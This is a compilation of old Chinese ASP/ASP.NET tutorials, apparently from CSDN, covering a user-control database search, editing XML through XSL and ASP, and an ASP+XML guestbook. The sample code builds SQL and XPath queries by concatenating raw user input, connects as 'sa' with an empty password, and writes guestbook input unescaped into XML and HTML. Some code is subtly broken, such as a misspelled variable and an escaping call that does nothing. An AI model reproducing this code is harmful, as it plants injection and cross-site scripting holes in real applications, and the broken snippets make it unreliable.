我们发现，利用代码绑定技术我们可以容易的将我们的代码和内容分离开来，利用它可以建立可重用的代码，只是这种技术本身也存在着一些局限性。在本文中，我们将会一同探讨另外一种新的ASP.NET技术：用户控件。

什么是用户控件（User Controls）？
为了能更好的理解用户控件的重要性，我们先来看看一段小小的“历史”。在以前的ASP当中，可重用的技术实现选择是相当受限制的。许多的开发者一般都是借助将公共的常用的子过程放到那些包含文件当中的做法来实现一定的所谓代码重用的。比如，如我们想要在许多的ASP页面当中现实一个下拉列表框，我会在一个包含文件当中建立一个函数，样子如下所示：

Function GetListBox(asSelectedItem)
'为HTML的选择控件建立字符串
'返回这个字符串
End Function

当然，这样的做法的确在一定程度上做到了重用，但是为了能做到更加通用性，你不得不要增加更多的参数。为了使得类似上面的你需要整理的代码得以正常工作是困难的，因为要达到提供它的通用性（可重用性），你大概不得不去修改这些已经存在的代码，以便使得他们也能在新的环境下正常工作。
IIS5中的VBScript5.0增加了建立类的功能。这就使得我们可以通过一个较多面向对象的方式来实现可重用的代码。

Class ComboBox
Property Let ControlName(vData)
.
End Property
<More properties and methods here>
End Class

这样做会稍微好一些，但是开发者仍旧需要被迫去编写那些函数，以便返回HTML代码。而且，他也没有能力操纵那些类的实例对象的事件。为了能做到操作事件，开发者不得不建立一些COM组件，而后者则增加了应用程序的额外的复杂度。

有了ASP.NET,我们拥有了一个新的简单的工具来编写可重用的代码—用户控件。用户控件（也叫pagelets）提供了这样一种机制，他使得我们可以建立能够非常容易的被ASP.NET页面使用或者重新利用的代码部件。一个用户控件也是一个简单的ASP.NET页面，不过它可以被另外一个ASP.NET页面包含进去。在你的ASP.NET应用程序当中使用用户控件的一个主要的优点是用户控件的支持一个完全面向对象的模式，使得你有能力去捕获事件。而且，用户控件支持你使用一种语言编写ASP.NET页面其中的一部分代码，而使用另外的一种语言编写ASP.NET页面另外一部分代码，因为每一个用户控件可以使用和主页面不同的语言来编写。

建立一个用户控件
在建立你自己的用户控件之前，你也许想知道在你的web页面中哪些可见的对象是能够重用的好的候选者。能可能的是，你将会在你的站点上的不止一个页面上需要使用融合的用户控件。一旦你开始不断的思考你的控件的结构，你就已经做好的开始的准备。在我们的例子当中，我们将要建立一个简单的搜索的控件，用来搜索SQL Server2000中的数据库Northwind。我们的搜索控件可以使得开发者快速的为一个web页面增加搜索能力。

建立用户控件的第一步是建立一个.ascx文件。这是用户控件需要的文件扩展名。在一个一个.ascx文件中不能包含head，form，或者body标签，因为包含此.ascx文件的.aspx文件已经包含了这些标签。一个.ascx文件只能包含方法，函数，以及和用户控件相关的内同。

在建立一个.ascx文件之后，我们想要为用户控件增加一些可视的代码。在一个用户控件当中可以包含所有的web控件。在我们的例子当中，搜索控件需要拥有一个标签，一个文本框以及一个按钮。我们首先加入这些web控件，因为我们的整个代码当中会涉及到这些对象。下面是具体的代码：

<asp:Label id=lblSearch runat="server" text="Caption"></asp:Label>
<asp:TextBox id=txtSearch runat="server"></asp:TextBox>
<asp:Button id=cmdSearch runat="server" Text="Search" ></asp:Button>

在用户控件中有一件很酷的事情是，你可以定义你自己的属性。在我们的例子当中，我们会定义如下属性：

。LabelText—描述显示给用户的搜索条件
。ConnectiongString---用来联接到数据库的连接字符串
。ResultSetView—包含了搜索结果的数据记录集
。TableName—要搜索的数据库table名称
。Condition—需要搜索的table的列的名称

为了建立这些属性，我们使用一些联合起来的get和set方法来同属性结合起来。在做这些工作之前，我们需要首先决定一个属性是否需要允许读，写，还是两者都需要。对于只需要读的属性，我们将会使用ReadOnly关键字来限定属性的声明，并且仅仅包含了get方法。我们的ResultSetView属性是一个只读的属性，因此它的相关代码看起来如下：
'这是一个只读的属性

Public ReadOnly Property ResultSetView as dataView
Get
'设置返回属性地值
ResultSetView = dsData.tables("BookTitles").defaultview
End Get
End Property

对于只需要写的属性，我们将会使用WriteOnly关键字来限定属性的声明，并且仅仅包含了set方法。我们的TableName属性是一个只写属性，因此它的相关代码看起来如下：

'This write only attribute identifies which table will be searched
Public WriteOnly Property TableName as string
Set
'设置表的名称
strTableName = Value
End Set
End Property

对于那些既能读也能写的属性，在定义的时候就不需要加以限定了；并且同时包含了Get和Set方法。一旦这个属性被建立，.aspx文件就可以读取或者设置这些属性，使得用户控件可以适应一个或者多个用途了。

在用户控件当中，和定义不同的属性相结合，你也需要定义任意的方法，这些方法可以被用户控件初始化。这些属性和方法定义了用户控件的功能。在我们的例子当中使用的是search方法。这个方法读取各个用户定义在.aspx文件中的控件属性，并且返回一个搜索的结果记录集。所有的操纵数据库的代码都在这个方法中了：建立SQL语句，打开数据库联接，并且从数据库中返回一个结果。

'这个程序依照属性的值来操纵一个数据库
Public Sub Search(sender As Object , e As System.EventArgs)
Dim cnConnection As SQLConnection
Dim cmdCommand As SQLDataSetCommand
Dim strSearchString As String
Dim strSQL As String
'如果用户在搜索框中输入了条件
If txtSearch.Text <> "" Then
'过滤掉字符的前后空格
strSearchString = trim$(txtSearch.Text)
End If
'建立我们的SQL语句
strSQL = "SELECT * " & _
"FROM " & strTableName & _
" WHERE " & strConditionField & " LIKE '" & _
trSearchString & "%'"
'如果联接属性被设置了
If strConnection <> "" Then
'建立数据库联接
cnConnection = New SQLConnection(strConnection)
'打开数据库联接
cnConnection.open()
'为搜索建立一个新的command对象
cmdCommand = New SQLDataSetCommand(strSQL, cnConnection)
'建立一个新的DataSet对象
dsData = New DataSet()
'填充dataset对象
cmdCommand.FillDataSet(dsData, "BookTitles")
End If
End Sub

一旦你在你的用户控件当中添加了属性和方法，控件的开发也就大致完成了。
现在我们对一个用户控件是如何建立的有了一个认识，让我们来看看用户控件是如何工作的。下面是我们的用户控件被包含在一个form当中的时候看起来的样子：

我们的用户控件将会放在一个国际食物网站的一个搜索页面上。为了建立这个搜索页面，我们先建立一个空的.aspx文件。我们先安排好所有的图片和布局，之后加入我们的用户控件。
为了能够在一个.aspx页面当中使用这个新的用户控件，你必须首先初始化@Register指令。当使用这个标签的时候，你必须定义标签前缀，标签名字以及指定用户控件所在的源文件。

<%@ Register TagPrefix="jav" TagName="Search" src="SearchControl.ascx" %>

TagPrefix定义了我们使用这个用户控件的时候想要用的名称空间。TagName定义了这个用户控件的实际名称。你可以任意的命名你的控件，这个名字将会用在页面上面标示用户控件。
当你加入一个用户控件到一个.aspx页面的时候，相应的语法同加入一个web控件类似。你首先使用标签前缀和标签名称来标示用户控件：

<jav:search></jav:search>

现在我们在页面上面有了这个空间，我们可以设置标准的runat和id属性，以及设置我们以前建立控件的时候建立的各个自己定义的属性。有两种方法来修改这些用户控件的属性（就像针对一个ASP.NET的web控件那样）。一种方法是在你的web页面当中引用这个用户控件的时候明确的设置它的各个属性的值。在我们的例子当中，我们设置LabelText属性为“Product Name”，因为我们的搜索是针对产品名称来讲的。

<jav:search id="UserControl" runat="server" labeltext="Product Name"></jav:search>

另外一种方法是在一个.aspx文件的page_load事件中设置这些用户控件的属性。针对我们的例子，我们在page_load事件当中设置ConnectionString，TableName，ConditionField属性。我们需要搜索的是数据库Northwind中Product表的ProductName字段。

Sub page_load(objSource as Object, objArgs as eventArgs)
Dim htConfig As HashTable
'设置一个对Config.web文件中AppSettings节点的应用
htConfig = Context.GetConfig("appsettings")

'设置用户控件的连接字符串
userControl.ConnectionString=(htConfig("MyConn"))

'设置我们要搜索的表的名称
userControl.TableName="Product"

'设置我们要搜索的字段名称
userControl.ConditionField="ProductName"
对于我们的web站点，我们将数据库的连接字符串存放在Config.web文件当中的叫做appsettings中的区域中。（如果要使用下面的代码，请将server修改成你实际的server名字）
<appsettings>
<add key="MyConn"value="server=ServerName;uid=sa;pwd=;
database=Northwind"/>
</appsettings>

下面是我们的.aspx文件第一次看起来的样子：

现在我们需要加入代码来调用我们的用户控件中的search方法。我们编写这个用户控件的例子的目的是为了实现对数据库的简单搜索以及返回搜索的结果。为了做到这些，我们有两个选择，我们要么在我们的用户控件当中将我们的结果放到我们的结果控件（在这里，一般是一个DataGrid控件），要么我们将一个ADO记录集当作一个属性返回给开发者，而不必关心开发者究竟使用什么方法来显示他。我们的选择是通过一个属性返回一个记录集结果，因为这样做可以使得开发者可以自由的选择使用什么控件以及采用什么样的数据显示方式。
然而这个选择同时也带给了我们一些问题。我们可以容易的将结果当作一个属性返回并且使用DataSource属性绑定到一个DataGrid控件或者其他的控件。但是，我们如何才能知道用户是否是点击了一个搜索按钮呢？为了解决这个问题，我们需要在page_load事件中使用Page.IsPostBack这个属性。如果一个页面是由于post而重载的话，属性Page.Ispostback的值等于true。通过检测page.ispostback是否等于true，我们可以决定是否调用我们的用户控件中的Search方法，然后将结果绑定到我们的datagrid。

'检测Page.IsPostBack属性的值
If page.IsPostback = true then
'执行搜索的动作
userControl.Search(objSource, objArgs)
'将结果绑定到DataGrid控件上面
grdGrid.datasource = userControl.ResultSetView
'正式绑定数据
grdGrid.databind()
End If
End Sub
在某个人输入了一个搜索条件之后并提交我们的.aspx文件之后的显示页面：

现在我们可以同样的建立另外一个页面以便使用在我们的站点。我们将要建立的这第二个页面同样执行一个搜索动作，但是这次是要在Northwind数据库的表Company上的CompanyName字段上面进行搜索匹配。为了建立这个页面，我们建立一个新的空白.aspx文件。既然这个页面和我们的产品页面类似，我们使用相同的布局。我们将要再一次使用搜索用户控件。

我们在这个页面会将属性设置不同的值。联接字符串还是保留使用前面同样的值。我们需要设置属性LabelText的值等于Company Name，设置属性Table的值等于Company,设置属性ConditionField的值等于CompanyName。通过对布局和用户控件的略微改动，我们就算大致完成了这个页面。对这个页面来讲，我们只需要很少的代码，这要好好谢谢用户控件带来的代码重用了。下面就是我们新的页面：

正如你所看到的，用户控件可以提供一个简便的方法来实现代码的可重用性，而省去了很多不必要的麻烦。将相关的控件和代码从一个ASPX文件移到一个ASCX文件当中是一个恰当的做法，并且只需要较小的修改就可以使得代码正常的工作了。

局限性?
你也许会问自己：我使用用户控件不能够做到什么？使用这个技术只存在很少的一些限制。
其中的一个限制是：用户控件不支持模版。因此，你不能建立一个用户控件来达到ASP.NET中提供的Data Repeater控件的功能。
另外的一个限制是：由于用户控件必须包含一些静态的UI（用户界面）属性，所以你不能够按照你的想法严格的调整他们。比如，你可能想要建立一个包含多个控件的用户控件，并且允许开发者能够指定这些控件在页面上的显示顺序。上面的想法对于一个用户控件来说是困难的，因为UI块是被静态的设置的。

结论
用户控件提供了一个极好的方法使得你能够非常容易的在你的ASP.NET页面中实现代码的重用。将一些在ASP.NET中的代码拖放到ASCX文件中使得他们能够被重新利用是个正确的选择和做法。
在我们的文章中，我们一同探讨了通过定制的控件实现代码在ASP.NET中的重用。可定制的ASP.NET控件可以对可重用代码提供附加的弹性，正如上面我们已经学到那样。


csdn_用XSL.ASP编辑XML文档(1)

  用XSL.ASP编辑XML文档(1)
作者： crystal翻译
简介

    本文是"保存至HTML 表格数据至XML"的姐妹篇。如果你没读过上文，我建议您最好先浏览一下。本文是建立在上文基础之上的。关于上文的举例，读者不断给予了肯定的回应，同样的，很多人都想知道如何编辑XML数据。因此，我写下了此文。

    使用XSL状态下：打开一个XML文件，确定将对它进行编辑、传送至HTML表单，并最终将传送到浏览器。 此XML元素的值将会被设置成HTML输入域的值。在这些必要的编辑后，则可将这些经处理的信息提交至服务器，XML文件同时也被更新。

    第一步LOAD你将会编辑并在浏览器以HTML表格形式出现的文件。在以下的举例中，XML在服务器上的变化被我跳过了，在使用微软的XMLDOM 目标下，XML文件是能被XSL文件转化的。我们在此同样可以用到这个技巧来转化XML文件。

    XML File: contact.xml:
    ＜?xml version="1.0" ?＞
    ＜contact＞
      ＜field id="firstName" taborder="1"＞
        ＜field_value＞Michael＜/field_value＞
      ＜/field＞
      ＜field id="lastName" taborder="2"＞
        ＜field_value＞Qualls＜/field_value＞
      ＜/field＞
      ＜field id="address1" taborder="3"＞
        ＜field_value＞202 East Haverbrook＜/field_value＞
      ＜/field＞
      ＜field id="address2" taborder="4"＞
        ＜field_value＞Oklahoma City, OK 73114＜/field_value＞
      ＜/field＞
      ＜field id="phone" taborder="5"＞
        ＜field_value＞4055551234＜/field_value＞
      ＜/field＞
      ＜field id="email" taborder="6"＞
        ＜field_value＞mqualls@vertiscope.com＜/field_value＞
      ＜/field＞
    ＜/contact＞
    本文举例用到的XML文件与 "保存HTML表格至XML"一文中的举例一样。因此你能够更直观的观察到其中的关联之处。

    XSL File: contact.xsl:

    ＜?xml version="1.0"?＞
    ＜xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl"＞
    ＜xsl:template match="/"＞
    ＜html＞
    ＜body＞
      ＜form method="post" action="EditContact.asp"＞
      ＜h1＞Edit Contact:＜/h1＞
      ＜table border="1" cellpadding="2"＞
      ＜xsl:for-each select="contact/field"＞
      ＜tr＞
        ＜td＞
          ＜xsl:value-of select="@id"/＞
        ＜/td＞
        ＜td＞
          ＜input type="text"＞
          ＜xsl:attribute name="id"＞
          ＜xsl:value-of select="@id" /＞
          ＜/xsl:attribute＞
          ＜xsl:attribute name="name"＞
          ＜xsl:value-of select="@id" /＞
          ＜/xsl:attribute＞
          ＜xsl:attribute name="value"＞
          ＜xsl:value-of select="field_value" /＞
          ＜/xsl:attribute＞
          ＜/input＞
        ＜/td＞
        ＜/tr＞
        ＜/xsl:for-each＞
      ＜/table＞
      ＜input type="submit" id="btnSubmit" name="btnSubmit" value="Submit" /＞
      ＜/form＞
      ＜/body＞
      ＜/html＞
      ＜/xsl:template＞
      ＜/xsl:stylesheet＞
    这个XSL文件使用了for-each XSL元素，使之在XSL文件的元素中反复。

    由此根元素开始，每个XML"域"元素的"ID"被写成了HTML文本域的"ID"和"NAME"。

    同样，XML文件中"域值/FIELD_VALUE"元素的值也被写成为每个HTML文本域中的"值/value"。最后的结果自然是HTML格式包含了来自XML文件中将会被编辑的值。

    我之所以把"ID"从XML文件中的"域"元素里提出来，并把它置于XSL文件中的HTML文本域中，是为了不至于混淆并且可以促进命名的连贯性。这样的话，不太熟悉编码知识的朋友也能分辨出哪个XML域配哪 个HTML域。

    通过使用上述两个文件，我们已为开始编辑XML文件做好了充分准备。XSL文件将会传输XML文件以便能够在浏览器上显示。我们可以在终端机上做这个传输工作，但不是最好的解决方案。用ASP的话，我们可以在服务器上做这个传输工作。同样的，我们可以在服务器上做XML文件的编辑工作。


csdn_用XSL.ASP编辑XML文档(2)

  用XSL.ASP编辑XML文档(2)
作者： crystal翻译
例子：通过使用XSL,ASP来编辑XML

    编辑 Contact.asp 是一个比较普遍的现象。这儿有两个功能在编辑ASP页面中起了主要作用。第一个是loadXMLFile功能，它LOAD并传输XML文件使之显示出来；第二个是 updateXML 功能，它适用于编辑 XML文件国。

    ASP File: EditContact.asp:

      ＜%
        '-----------------------------------------------------------
        '"loadXMLFile" 函数接受两个参数.
        'strXMLFile - XML文件的路径名和文件名.
        'strXSLFilee - XSL文件的路径名和文件名.
        '-----------------------------------------------------------
        Function loadXMLFile(strXMLFile, strXSLFile)
         '本地变量

          Dim objXML Dim objXSL
         '初始化XMLDOM对象.

          set objXML = Server.CreateObject("Microsoft.XMLDOM")
         '关闭同步加载的文件.
          objXML.async = false

          '加载XML文件.

          objXML.load(strXMLFile)
          '初始化用于加载XSL文件的XMLDOM对象.
          set objXSL = Server.CreateObject("Microsoft.XMLDOM")
          'Turn off asyncronous file loading.
          objXSL.async = false 'Load the XSL file.
          objXSL.load(strXSLFile)
          'Use the "transformNode" method of the XMLDOM to apply the
           'XSL stylesheet to the XML document. Then the output is
          'written to the client.
          Response.Write(objXML.transformNode(objXSL))
        End Function
        '-----------------------------------------------------------
        'The "updateXML" Function accepts one parameter.
        'strXMLFile - The path and file name of the XML file.
        '-----------------------------------------------------------

      Function updateXML(strXMLFile)
        'Declare local variables.
        Dim objDom
        Dim objRoot
        Dim objField
        Dim x
        'Instantiate the XMLDOM Object.
        set objDOM = Server.CreateObject("Microsoft.XMLDOM")
        'Turn off asyncronous file loading.
        objDOM.async = false
        'Load the XML file.
        objDOM.load strXMLFile
        'Set the objRoot variable equal to the root element of the
        'XML file by calling the documentElement method of the
        'objDOM (XMLDOM) object.
        Set objRoot = objDom.documentElement
        'Iterate through the Form Collection and write the
        'submitted values to the XML file.
        For x = 1 to Request.Form.Count
        'Check see if "btn" is in the submitted value, if so,
        'it is a button and should be ignored.
        If instr(1,Request.Form.Key(x),"btn") = 0 Then
        'Set objField variable equal to a field_value element by
        'calling the selectSingleNode method of the objRoot
        '(documentElement) object. The SelectSingleNode method
        'accepts a string parameter for querying the XML document.
        'In this case, the current value of the key property of
        'the Form Collection is used to find the appropriate
        'field_value element (more on this later).

        Set objField = objRoot.selectSingleNode("field[@id='" & _ Request.Form.Key(x) & "']/field_value")
        'Set the text property of the objField (field_value)
        'element equal to the value of the current form field.
        objField.Text = Request.Form(x)
      End If
      Next
      'After the XML file has been edited, is must be saved.
      objDom.save strXMLFile
      'Release all of your object references.
      Set objDom = Nothing
      Set objRoot = Nothing
      Set objField = Nothing
      'Call the loadXMLFile method, passing in the newly edited
      'XML file and the updatedcontact.xsl style sheet. This will
      'allow the client to see the edited information. More on the
      'updatedcontact.xsl file later.
      loadXMLFile strXMLFile,
      server.MapPath("updatedcontact.xsl")
    End Function
      'Test to see if the form has been submitted. If it has,
      'update the XML file. If not, transform the XML file for
      'editing.
    If Request.Form("btnSubmit") = "" Then
      loadXMLFile server.MapPath("Contact.xml"), _ server.MapPath("contact.xsl")
    Else
      updateXML server.MapPath("Contact.xml")
    End If
    %＞

    正如你所看到的一样，ASP文件处理了整个XML文件更新的过程。如果表单已被提交，那么XML文件则会被打开并更新。如果表单没有被提交，那么XML文件会由contact.xsl传送至HTML格式，以便用户自行编辑。详见以下举例：

    For x = 1 to Request.Form.Count
      If instr(1,Request.Form.Key(x),"btn") = 0 Then
        Set objField = objRoot.selectSingleNode("field[@id='" & _ Request.Form.Key(x) & "']/field_value")
        objField.Text = Request.Form(x)
      End If
    Next

    上述代码是更新XML文件的代码。SelectSingleNode 方法是关键。

    在上述举例中，问句是"field[@id='"& request.form.key(x) & "']/field_value"。所询问的是：要求做为 子域元素 的field_value element 包含一个"ID"，此ID而且是与现有的Form Collection中的关键值相匹配。一旦获得适当的节点，则可以更新文本属性以便与Form Collection中的值相匹配。


csdn_用ASP+XML打造留言本(1)

  用ASP+XML打造留言本(1)
作者： 苛子
一、读者指引

    读者指引帮助你掌握本文的梗概。以免你看了大半才明白这编文章不适合你，给你造成视觉污染。

    如果你正在用ASP+XML写一些程序，或者你正在学XML那就值得一看。

    阅读本文须具备的知识，对ASP有基本的了解，对XML和DOM有基本了解，如果你不了解那么你通过学习本文基本上能够撑握ASP＋XML和DOM的应用，并能根据本文范写出自已更高级的ASP＋XML程序。

    二、基本思想

    本文思想是基于用ASP和DOM来读取和存储XML数据，并利用XML数据来存储留言信息，达到同用数据库存储数据的功能。

    三、XML留言本的优势

    或许你会问用ASP＋TXT文本也可以达到不用数据库实上留言的功能，不错确实能够做到，而且网上也有很多这样的留言本免费下载，但这里我要讲一下ASP＋XML的优越性。

    １、XML＋ASP比ASP＋TXT速度要快。可能你也发现当TXT文件很少时速度出奇的快，但是随着留言信息的增加TXT文本变大，速度却又是出奇的慢这就是ＡＳＰ＋TXT的弱点。当然我不能说ＡＳＰ＋XML就一定是出奇的快，但是比起ＡＳＰ＋TXT来说是快了许多，当然随着留言信息的增加ＸＭＬ文本增大速度也下降很快，但是比起TXT来说就还是好了许多（这一点可以从ＷＡＳ测试证明读者可以自行测试），当然ＡＳＰ＋XML比不上数据库，因为数据库对查询做了特别的优化，而XML只是纯文本，在ＡＳＰ建立对像是要把ＸＭＬ数据全部读入内存中，如果数据量大的话可想而知速度会慢下来。那你也许会问那我什么时候用关系数据库存储数据，又什么时候用XML存储数据呢？我这里也顺便提一下，就是当数据比较复杂无规率时用XML数据比较合适，还有就是你打算这些数据要在不同的操作系统上读取运用时那就是XML大显身手的时候了。如果你是普通的数据那么不到关键时刻或不支持数据库的空间时还是不要用XML文件来存储数据为好。
    ２、XML数据的易读取性，TXT文本是比较难操作的，我们必须一行一行的读取判断，而且很多功能无法实上，只能编制比较简单的留言本，而ＸＭＬ数据则不同了，利用DOM可以轻易的访问每一个节点，而不是TXT那些烦人的Readline() Witeline()了，我们可以随意的加入删除更新某一个我们感兴趣的节点，利用ASP或者ＪＳ或者数据岛都可以轻松实上这一点，当然我这里为发考虑兼容性，用了ASP来读取XML数据，而没有用数据岛来读取节点数据（因为只有ＩＥ５以上版本才支持数据岛技术）而用ASP来实上就不存在这些问了因为客户得到的是HTML文件。

   ３、XML数据夸操作系统性，只要我们把这些数据存储为XML那么这些数据就能被应何基它语言或系统所识别，而不用做应何改动。TXT显然不具备这些性能。例如我们在网上的留言信息可以直接被被转换成wap格式在手机上显示。

    四、建立存储留言信息的XML文件(List.xml)
    我们这里不打算使用ＤＴＤ，因为我们这是我们自已编制并测试通过的XML数据，所以不需要ＤＴＤ来验证（如果你对此感兴趣当然可以加一个这不影响程序的运行）。现在我们来看看建立一个留言本的基本要素

    ０、留言ＩＤ号--定义为＜id＞

    １、用户名我们--定义为＜username＞

    ２、来自那里们--定义为＜fromwhere＞

    ３、留言时间定--义为＜Posttime＞

    ４、用户主页定--义为＜homepage＞

    ５、用户的信箱--定义为＜email＞

    ６、留言内容定--义为＜text＞

    当然以上不是必须的读者可以自行命名并加减相关标签，把它们组合起来就得到List.xml的文件了

＜?xml version="1.0" encoding="gb2312"?＞
＜site＞
      ＜NewList＞
            ＜list＞
                ＜id＞1＜/id＞
                ＜username＞苛子＜/username＞
                ＜fromwhere＞中国广州＜/fromwhere＞
                ＜Posttime＞01-4-23 18:26:56＜/Posttime＞
                ＜homepage＞http://page2000.xiloo.com＜/homepage＞
                ＜email＞lucaihui@cmmail.com＜/email＞
                ＜text＞这是我的第一个XML文件＜/text＞
            ＜/list＞
      ＜/NewList＞
＜/site＞

    注意：必须加上encoding="gb2312"否则会报错为非法字符，因为XML默认不支持中文。＜site＞为根节点＜NewList＞＜ist＞等为子节点。对这个文件的意思我就不多说了大家也应该看的明白了。接下来就是我们如何来显示它了。(自yesky)


csdn_用ASP+XML打造留言本(2)

  用ASP+XML打造留言本(2)
作者： 苛子
五、建立显示XML数据的ASP文件(index.asp)

    这个文件要实现的功能就是读取并显示XML数据，首先创建一个XML对像然后把XML读入内存中，利用DOM分离出我们所要的数据。

＜%
strSourceFile = Server.MapPath("/") & "\List.xml"
'获取XML文件的路径这里根据你的虚拟目录不同而不同
Set objXML = Server.CreateObject("Microsoft.FreeThreadedXMLDOM")
'以自由线程创建一个XML对像
objXML.load(strSourceFile)'把XML文件读入内存
Set objRootsite = objXML.documentElement.selectSingleNode("NewList")
'选取NewList节点
%＞
＜html＞
＜head＞
＜title＞留言本＜/title＞
＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
＜style type="text/css"＞
＜!--
td { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a { font-family: "宋体"; font-size: 9pt; color: #0066CC; text-decoration: none}
a:hover { color: #FF6600; text-decoration: underline}
--＞
＜/style＞
＜/head＞＜body bgcolor="#0099CC" text="#000000"＞
＜table width="80%" border="0" cellspacing="1" cellpadding="4" align="center" bgcolor="#CCCCCC"＞
＜tr bgcolor="#000000"＞
＜td colspan="2"＞＜font color="#FFFFFF"＞留言溥 ＜a href="PostNew.asp"＞＜font color=#FFFFFF＞写新留言＜/font＞＜/a＞＜/font＞＜/td＞
＜/tr＞
＜%
PageSize =10'假设每页显示10条留言
AllNodesNum =objRootsite.childNodes.length-1
'获取子节点数据（因为是从节点数从0开始的所最大子节点数要减1）
PageNum=AllNodesNum\PageSize+1'算出总页数
PageNo=request.querystring("PageNo")
if PageNo="" then'如果是每一次获得页面则定位到每一页显示最新的留言
PageNo=PageNum
end if
StarNodes=PageNo*PageSize-1'获得起始节点
EndNodes=(PageNo-1)*PageSize'获得结束节点
if EndNodes＜0 then
EndNodes=0
end if
if StarNodes＞AllNodesNum then'判断起始节点数是否超过总的节点数
EndNodes=EndNodes-(StarNodes-AllNodesNum)
'如果超过则结束节点要减去(StarNodes-AllNodesNum)的差值否则下标会超界出错
StarNodes=AllNodesNum
end if
if EndNodes＜0 then
EndNodes=0
end if
while StarNodes＞=EndNodes
'从结束节点到超始节点之间读取节点数据
username = objRootsite.childNodes.item(StarNodes).childNodes.item(1).text
'获得用户名
fromwhere = objRootsite.childNodes.item(StarNodes).childNodes.item(2).text
'获得用户来自那里
Posttime = objRootsite.childNodes.item(StarNodes).childNodes.item(3).text
'获得留言时间
homepage = objRootsite.childNodes.item(StarNodes).childNodes.item(4).text
'获得用户主页
email = objRootsite.childNodes.item(StarNodes).childNodes.item(5).text
'获得用户Eamil
text = objRootsite.childNodes.item(StarNodes).childNodes.item(6).text
'获昨留言内容

'*****************************************************************************
'这里使作了XML的DOM来读取数据,显然objRootsite对像所对应的节点为＜NewList＞
' objRootsite.childNodes.item(StarNodes)所对应的节点就是＜list＞节点因为不至一个＜list＞节点所以用了item()来识别当前节点数据，随着StarNodes的递减＜list＞节点根着往上移一个个读取＜list＞节点数据。
'objRootsite.childNodes.item(StarNodes).childNodes.item(1).text所对应的节点为具体的每个节点的文本值，这里(1)所对应的就是username用户名（因为＜list＞节点的子节点才是我们真正所要的）
'******************************************************************************

text = replace(text,chr(13),"＜br＞")
'替代回车
text = replace(text,chr(32)," ")
'替代空格
%＞
＜tr bgcolor="#F0F0F0"＞
＜td width="21%" height="94" valign="top"＞姓 名：＜%=username%＞＜br＞
来 自：＜%=fromwhere%＞＜br＞
＜/td＞
＜td width="79%" height="94" valign="top"＞ | ＜a href="＜%=homepage%＞" target=_blank title="＜%=username%＞的主页"＞主页＜/a＞
| | ＜a href="mailto:＜%=email%＞" title="给＜%=username%＞写信"＞信箱＜/a＞ | |＜font color="#CC6633"＞
留言时间：＜%=Posttime%＞ ＜/font＞|
＜hr＞
＜%=text%＞ ＜/td＞
＜/tr＞
＜tr bgcolor="#FFFFFF" align="right"＞
＜td colspan="2"＞ ＜/td＞
＜/tr＞
＜%
StarNodes=StarNodes-1
wend
set objXML=nothing
%＞
＜tr bgcolor="#FFFFFF" align="right"＞
＜td colspan="2"＞ 共有<＜%=PageNum%＞>页
＜%
if cint(PageNo)＜＞PageNum then'分页
response.write "＜a href='index.asp?PageNo="&(PageNo+1)&"'＞上一页＜/a＞"
end if
if cint(PageNo)＜＞1 then
response.write "＜a href='index.asp?PageNo="&(PageNo-1)&"'＞下一页＜/a＞ "
end if
%＞
＜/td＞
＜/tr＞
＜/table＞
＜/body＞
＜/html＞


csdn_用ASP+XML打造留言本(3)

  用ASP+XML打造留言本(3)
作者： 苛子
六、建立写新留言程序(PostNew.asp)

    这个文件要实现的功能就是写入新的XML节点，首先创建一个XML对像然后把XML读入内存中，利用appendChild()方法加入我们生成的XML节点。

＜%
username=request.form("username")
if username＜＞"" then
fromwhere =request.form("fromwhere")
homepage =request.form("homepage")
email =request.form("email")
text =request.form("text")
text =replace(text,"＜","<")
Posttime =now()
strSourceFile = Server.MapPath("/") & "\List.xml"
'获取XML文件的路径这里根据你的虚拟目录不同而不同
Set objXML = Server.CreateObject("Microsoft.XMLDOM")
'创建XML对像
objXML.load(strSourceFile)
'把XML文件读入内存中
Set objRootlist = objXML.documentElement.selectSingleNode("NewList")
'选取＜NewList＞节点
if objRootlist.hasChildNodes then
'判断＜NewList＞是否有子节点（因为如果是每一次＜NewList＞是没有子节点的，
’ 如果不加判断在第一次运得时就会报错
id = objRootlist.lastchild.firstchild.text+1
'这里获得将要插入子节点的ＩＤ号，其ＩＤ号为＜NewList＞的最后一个子节点(lastchild)的第一个子节点(firstchild)的ＩＤ号加1（这里我们按照关系型数据库的ＩＤ号来递增）
else
'如是没有字子节点则是第一次留言ＩＤ号设为１
id=1
end if
brstr=chr(13)&chr(10)&chr(9)
'为了插入XML文件中的节点换行空格排列整齐
’（当然你也可以不用这样只是为了XML数据好看而以）
XMLnode=brstr&"＜list＞"&brstr & _
"＜id＞"&id&"＜/id＞"&brstr & _
"＜username＞"&username&"＜/username＞"&brstr & _
"＜fromwhere＞"&fromwhere&"＜/fromwhere＞"&brstr & _
"＜Posttime＞"&Posttime&"＜/Posttime＞"&brstr & _
"＜homepage＞"&homepage&"＜/homepage＞"&brstr & _
"＜email＞"&email&"＜/email＞"&brstr & _
"＜text＞"&text&"＜/text＞"&brstr & _
"＜/list＞"&chr(13)
'根据得到的数据建立XML片段
set objXML2=Server.CreateObject("Microsoft.XMLDOM")
'建立一个新XML对像
objXML2.loadXML(XMLnode)
'把XML版片段读入内存中
set rootNewNode=objXML2.documentElement
'获得objXML2的根节点
objRootlist.appendChild(rootNewNode)
'把XML片段插入到List.xml中
objXML.save(strSourceFile)
'存储lsit.xml文件（因为不存储List.xml只在内存中更新了）
set objXML=nothing
set objXML2=nothing
response.write "谢谢您的留言"
response.end

end if
%＞
＜html＞
＜head＞
＜title＞Untitled Document＜/title＞
＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
＜style type="text/css"＞
＜!--
td { font-size: 9pt}
--＞
＜/style＞
＜/head＞
＜body bgcolor="#0099CC" text="#000000"＞
＜table width="80%" border="0" cellspacing="1" cellpadding="4" align="center" bgcolor="#FFFFFF"＞
＜form action="PostNew.asp" method="post" name="form1"＞
＜tr bgcolor="#000000"＞
＜td colspan="2"＞＜font color="#FFFFFF"＞新留言＜/font＞＜/td＞
＜/tr＞
＜tr bgcolor="#EFEFEF"＞
＜td width="19%" align="right"＞姓 名：＜/td＞
＜td width="81%"＞
＜input type="text" name="username"＞
** ＜/td＞
＜/tr＞
＜tr bgcolor="#EFEFEF"＞
＜td width="19%" align="right"＞来 自：＜/td＞
＜td width="81%"＞
＜input type="text" name="fromwhere" value="中国"＞
＜/td＞
